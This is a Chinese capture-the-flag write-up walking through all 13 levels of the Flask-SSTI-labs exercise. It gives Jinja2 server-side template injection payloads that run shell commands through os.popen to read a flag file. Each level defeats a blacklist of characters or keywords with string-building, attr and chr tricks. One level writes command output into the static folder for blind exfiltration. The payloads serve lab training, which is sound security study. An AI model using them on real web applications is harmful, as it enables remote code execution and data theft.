CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记

文章目录

  • CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记
    • 前记
      • 获取键值或下标的方式
      • 获取属性的方式
    • Level 1 no waf
    • Level 2 bl['\{\{']
    • Level 3 no waf and blind
    • Level 4 bl['[', ']']
      • 获取键值或下标
    • Level 5 bl['\'', '"']
    • Level 6 bl['_']
    • Level 7 bl['.']
    • Level 8 bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]
    • Level 9 bl['0-9']
    • Level 10 set config = None
    • Level 11 bl['\'', '"', '+', 'request', '.', '[', ']']
      • ban 了 `' " request'`思考如何返回字符串?
      • 如果我们读flag 目录路径有 空格+ 斜杠 如何处理?
    • Level 12 bl['_', '.', '0-9', '\\', '\'', '"', '[', ']']
      • 获取下划线(空格)的两种方式
    • Level 13 bl['_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
  • 总结

前记

搭建环境

建议用nssctf在线 https://www.nssctf.cn/problem/13 直接用

以下题目我用简洁的payload 绕过{{lipsum.__globals__['os'].popen('ls').read()}}

其中lipsum为 flask框架 内置函数 通用

以下内容熟记 (因为绕过本质无非是换种形式表达相同的含义)

获取键值或下标的方式

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性的方式

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

Level 1 no waf

{{lipsum.__globals__['os'].popen('cat /app/flag').read()}}

image-20240313103230658

Level 2 bl[‘{{’]

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
\##可以有和{%%}相同的效果

{{}} 等价于 {%print%}

image-20240313103609026

Level 3 no waf and blind

盲注

第一 判断出不出网

{{lipsum.__globals__['os'].popen('ls').read()}}

image-20240313103912097

发现不出网

尝试写静态文件 请先了解 flask 静态目录概念

{{lipsum.__globals__['os'].popen('echo "test" >/app/static/1.txt').read()}}

image-20240313104107242

成功写入static静态目录

读取flag

{{lipsum.__globals__['os'].popen('echo `cat /app/flag` >/app/static/1.txt').read()}}

image-20240313104340387

Level 4 bl[‘[’, ‘]’]

{{lipsum.__globals__['os'].popen('ls').read()}}

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

替换一下

{{lipsum.__globals__.get('os').popen('ls').read()}}

image-20240313104659478

Level 5 bl[‘’', ‘"’]

过滤引号

{{lipsum.__globals__['os'].popen('ls').read()}}

完全可以替换为 request.args.参数名(get方式)

{{lipsum.__globals__[request.args.x1].popen(request.args.x2).read()}}

image-20240313104932040

Level 6 bl[‘_’]

{{lipsum.__globals__['os'].popen('ls').read()}}

可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持)

{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}}

image-20240313105405632

Level 7 bl[‘.’]

{{lipsum.__globals__['os'].popen('ls').read()}}

用[] 代替 . 其他方法 参考 获取属性的四种方法

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

image-20240313105713573

Level 8 bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

过滤了很多关键词

{{lipsum.__globals__['os'].popen('ls').read()}}

编码绕过和拼接不能同时使用 试错报错

{{lipsum['__glob''als__']['os']['pop''en']('ls').read()}}

在这里插入图片描述

Level 9 bl[‘0-9’]

{{lipsum.__globals__['os'].popen('ls').read()}}

我们没用 数字

image-20240313111351943

Level 10 set config = None

image-20240313111515681

通过 current_app取config

{{url_for.__globals__['current_app'].config}}

在这里插入图片描述

Level 11 bl[‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]

ban 了 ' " request'思考如何返回字符串?

通过过滤器 | join 返回变量

ban 了 . []如何取属性 ?

通过 |attr()

如何取键值 ?

通过 __getitem__('key')

然后用 {%set %}拼接

{{lipsum.__globals__['os'].popen('ls').read()}}

{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}b.构造os
{%set b=dict(o=a,s=a)|join%}c.构造popen
{%set c=dict(po=a,pen=a)|join%}cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}d.构造read
{%set d=dict(re=a.ad=a)|join%}e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%} f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)%}g.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

就是

{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

image-20240313113208849

如果我们读flag 目录路径有 空格+ 斜杠 如何处理?

['__builtins__']['chr']函数 用ascii表 转换为字符

原payload:{{lipsum.__globals__['__builtins__']['chr']}}

附字符转chr脚本 记下 32 为空格 47为斜杠

i= input("输入字符串:")
flag=""
for c in i:c= ord(c)b="chr(%d)" %(c)flag +=b+'%2b'
print(flag[0:-3:1])

修改payload

构造细节

{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}b.构造os
{%set b=dict(o=a,s=a)|join%}c.构造popen
{%set c=dict(po=a,pen=a)|join%}cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}d.构造read
{%set d=dict(re=a,ad=a)|join%}e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%} f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)|join%}ch.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}chh.构造 chr 函数
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
code={%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{%set f=dict(__buil=a,tins__=a)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

image-20240313115508151

Level 12 bl[‘_’, ‘.’, ‘0-9’, ‘\’, ‘’', ‘"’, ‘[’, ‘]’]

相比上一题

过滤了下划线和数字

获取下划线(空格)的两种方式

  1. 通过截取 环境字符

  2. 通过 chr函数 转化

取下划线 测试

{{()|select|string|list}}

image-20240313210707762

返回字符 可以通过下标取到结果

{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(24)}}

但是这里禁止了数字0-9

可以通过过滤器 | length 或者| count取到

数字24

用python生成24个字符 python -c "print('a'*24)"

image-20240313211030139

aaaaaaaaaaaaaaaaaaaaaaaa

取下划线 _

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(numa)}}

在这里插入图片描述

延用上关的payload进行修改

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

注意一下 不能单独

{%set a=dict(glob=a,als=a)|join%}
{%set ac=(xhx,xhx,a,xhx,xhx)|join%} //这是失败的

//还必须一起写(不然没法取完整下划线)

image-20240313213401782

Level 13 bl[‘_’, ‘.’, ‘\’, ‘’', ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’]

沿用上关payload 嘿嘿

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

image-20240313213530349

总结

我们想像一下假如出题人 比较细节 完全可以把flask内置函数lipsum,config,url_for都禁了

我们要这么办?

既然是ssti漏洞专门设计的CTF题 一定有解

恰好如果ssti ban了() 那么将没有办法做

我们完全可以从源字符取

例如

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

取chr函数可以通过

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']['chr']}}

相信自己,即使自己手动构造比较复杂,一步一步来,是可以完成的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/755352.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java安全基础 必备概念理解

Java安全基础 关键概念汇总 文章目录 Java安全基础 关键概念汇总前置知识1.构造器this以及包的使用2.继承3.重写/ 重载 / super4.多态5.区分和equals方法6.toString的使用7.Object的概念8.static,final,代码块static代码块final 9.动态代理10.类的动态加载1)类加载器含义&#…

【教程】APP加固的那些小事情

摘要 APP加固是保护APP代码逻辑的重要手段,通过隐藏、混淆、加密等操作提高软件的逆向成本,降低被破解的几率,保障开发者和用户利益。本文将介绍APP加固常见失败原因及解决方法,以及处理安装出现问题的情况和资源文件加固策略选择…

【InternLM 笔记】OpenXLAB浦源的基本操作

OpenXLab网址 网址:OpenXLab浦源 模型 创建模型 页面右上角选择【创建】然后选择【创建模型】 创建模型的页面如下 感觉页面中的提示信息填写相应的内容,全部填完后点页面下方的【立即创建】完成模型的创建 模型上传 安装所需的工具 apt install …

目标检测——玉米叶感染数据集

一、重要性 首先,玉米作为世界上重要的粮食作物之一,其生长状况直接影响到粮食产量和粮食安全。玉米叶感染是玉米生长过程中常见的病害之一,会导致玉米叶片出现肿胀、皱缩、扭曲变形等症状,严重时甚至可能形成瘤状物。因此&#…

【LIMS】微服务

目录 一、服务解决方案-Spring Cloud Alibaba1.1选用原因(基于Spring Cloud Alibaba的试用场景)1.2 核心组件使用前期规划 部署 nacos部署 mino使用JavaFreemarker模板引擎,根据XML模板文件生成Word文档使用JavaFlowable 工作流引擎前端 -vue…

js获取年月日

const date new Date()const options { year: numeric, month: 2-digit, day: 2-digit }const dateString date.toLocaleDateString(zh-CN, options)const [year, month, day] dateString.split(/)console.log(year, month, day) 人工智能学习网站: https://ch…

Kubernetes 项目整体布局 el-container

整体布局整体布局 你可能会去敲不同的项目,有很多种平台。那么其实都是可以复用的。唯一不同的就是main里面的内容是不同的,边框架子都是相同的。其实框架是不怎么变化的,变化的是main里面。 src/layout/Layout.vue 这里需要新增一个页面Lay…

高效求解!图片转换方法大揭秘,清晰度零损失!

在数字时代,图片转换是我们处理和共享图像时经常面临的任务之一。随着不同平台、应用程序和需求的不断增多,高效的图片转换方法变得至关重要。本文将为您揭秘一系列高效的图片转换方法,确保在转换过程中清晰度零损失。 无论是为了适应不同的…

Docker Desktop 安装 ClickHouse 超级简单教程

Docker desktop 安装 clickhouse 超级简单 文章目录 Docker desktop 安装 clickhouse 超级简单 什么是 Docker ?安装下准备安装Docker配置安装 ClickHouse配置数据库密码DBeaver 测试创建表总结 什么是 Docker ? 下载 Docker desktop Docker Desktop …

三菱FX3U/FX5U的采集方式有哪些?如何快速采集?

在工业自动化领域,PLC(可编程逻辑控制器)扮演着至关重要的角色。三菱FX3U和FX5U作为三菱电机公司推出的两款经典PLC产品,广泛应用于各种工业自动化控制系统中。为了更好地实现对这些PLC设备的数据采集与远程控制,我们引…

java数据结构与算法刷题-----LeetCode134. 加油站

java数据结构与算法刷题目录(剑指Offer、LeetCode、ACM)-----主目录-----持续更新(进不去说明我没写完):https://blog.csdn.net/grd_java/article/details/123063846 文章目录 1. 贪心2. 动态规划 1. 贪心 解题思路:时间复杂度O(…

太阳辐射传感器的工作原理

TH-FS1太阳辐射传感器是一种专门用于测量太阳辐射能量的设备,它可以广泛应用于太阳能利用、气象、农业、建筑材料老化以及大气污染等部门。太阳辐射传感器有多种类型,其中太阳总辐射传感器和热电式太阳总辐射传感器是较为常见的两种。 太阳总辐射传感器主…

华为云HECS+NODEJS开启WEB服务后无法外网访问

接上篇:使用华为云HECS服务器nodejs开启web服务-CSDN博客 目录 1.首先确认安全组是开放了端口的。 2.然后开启端口 1.首先确认安全组是开放了端口的。 这里我是用的3000端口 然后需要检查一下服务器防火墙是否开启了这个端口。 输入命令检查一下3000端口是否开…

基于Django兴趣班预约管理系统

技术:pythonmysqlvue 一、系统背景 当前社会各行业领域竞争压力非常大,随着当前时代的信息化,科学化发展,让社会各行业领域都争相使用新的信息技术,对行业内的各种相关数据进行科学化,规范化管理。这样的大…

每日汇评:黄金等待金叉确认和央行裁决

金价周二早盘徘徊在每盎司2160美元附近,等待主要央行的决定; 尽管美债收益率疲软,但在日本央行和澳央行做出谨慎裁决之前,美元依然坚挺; 随着RSI指数再次转为看涨,黄金价格在日线图上试探金叉形态&#xff…

算法沉淀——贪心算法二(leetcode真题剖析)

算法沉淀——贪心算法二 01.最长递增子序列02.递增的三元子序列03.最长连续递增序列04.买卖股票的最佳时机 01.最长递增子序列 题目链接:https://leetcode.cn/problems/longest-increasing-subsequence/ 给你一个整数数组 nums ,找到其中最长严格递增子…

空间解析几何之直线与平面:推导直线与直线、直线与平面交点

空间解析几何——直线与平面 三维空间中的直线和平面与二维空间中的性质有一定的类似之处,但是其相交关系的求解方式有所差异。本文回顾了三维空间中直线和平面的解析表达,然后推导线-线、线-面交点。 平面 空间平面的表达式为: A x B y…

NCV33172DR2G运算放大器芯片中文资料规格书PDF数据手册引脚图产品概述功能

产品概述: MC33071/72/74 系列单片运算放大器采用了带有创新设计概念的优质双极制造。此类器件根据放大器在 180 A 下运行,提供 1.8 MHz 增益带宽积和 2.1 V/s 摆率,而不采用 JFET 器件技术。尽管此系列可基于分割电源运行,但它尤…

Linux服务器部署若依(ruoyi-vue),从购买服务器到部署完成保姆级教程

零、购买服务器 Huawei Cloud EulerOS 还是 centos7,纠结了一段时间,了解到EulerOS是对centos8的延续版本,相当于官方不对centos8继续维护了, 最后还是选 CentOS 7.9 64bit,网上可查找的工具更多且官方还在持续维护。…

PHP反序列化--_wakeup()绕过

一、漏洞原理&#xff1a; 二、靶场复现: 进入靶场&#xff0c;分析源代码&#xff1a; <?php error_reporting(0); class secret{var $fileindex.php;public function __construct($file){$this->file$file;}function __destruct(){include_once($this->file);ech…